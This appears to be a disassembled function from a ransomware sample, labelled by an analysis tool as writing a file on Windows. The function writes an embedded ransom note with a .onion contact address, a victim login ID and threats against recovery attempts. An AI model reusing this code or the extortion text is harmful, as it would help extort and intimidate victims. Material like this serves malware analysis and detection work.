Function at 0x4166f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2f45
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x18]
mov eax, SysReAllocString
sub eax, edi
mov dword [ebp - 4], 0
cmp eax, 1
jb 0x416949
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea ecx, [edi + 1]
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp + 8]
mov esi, 7
mov dword [ebp - 0x44], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x40], xmm0
cmp ecx, esi
jbe 0x41679c
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x41677d
mov esi, SysReAllocString
jmp 0x416787
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x40]
call fcn.00412250
mov dword [ebp - 0x48], eax
lea ecx, [edi + 1]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], esi
lea esi, [edi + edi]
push esi
push dword [ebp - 0x44]
mov dword [ebp - 0x30], ecx
push eax
call fcn.00472fb0
mov eax, dword [ebp - 0x48]
mov ecx, 0x5c
add esp, 0xc
mov word [esi + eax], cx
xor ecx, ecx
mov word [eax + edi*2 + 2], cx
cmp dword [0x4d6748], 8
lea ecx, [ebp - 0x40]
push dword [0x4d6744]
mov eax, 0x4d6734
mov byte [ebp - 4], 1
cmovae eax, dword [0x4d6734]
push eax
call fcn.00412710
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x41685e
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416854
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41694e
push ecx
push edx
call fcn.0047153d
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0x80
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4168a7
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0
push eax
push 0x443
push str.ATTENTION__r_nYour_network_has_been_breached_and_all_data_was_encrypted._Please_contact_us_at:_r_nhttps:__bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion___r_n_r_n_r_nLogin_ID:_91ff2d86_ecd6_429f_9cfe_ef43ac53155b_r_n_r_n_r_n__To_access_.onion_websites_download_and_install_Tor_Browser_at:_r_n_r_n___https:__www.torproject.org___Tor_Browser_is_not_related_to_us__r_n_r_n__To_restore_all_your_PCs_and_get_your_network_working_again__follow_these_instructions:_r_n_r_n__Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption._It_doesnt_matter__who_are_trying_to_do_this__either_it_will_be_your_IT_guys_or_a_recovery_agency._r_n_r_nPlease_follow_these_simple_rules_to_avoid_data_corruption:_r_n_r_n__Do_not_modify__rename_or_delete_files._Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption.__r_n_r_n__Do_not_hire_a_recovery_company._They_cant_decrypt_without_the_key.__r_nThey_also_dont_care_about_your_business._They_believe_that_they_are__r_ngood_negotiators__but_it_is_not._They_usually_fail._So_speak_for_yourself._r_n_r_n_r_n_r_nWaiting_you_in_a_chat._r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x4168e4
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4168da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416953
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 8
jb 0x41692e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416924
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416953
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
call fcn.00412150
call fcn.0047ce9f
call fcn.0047ce9f
int3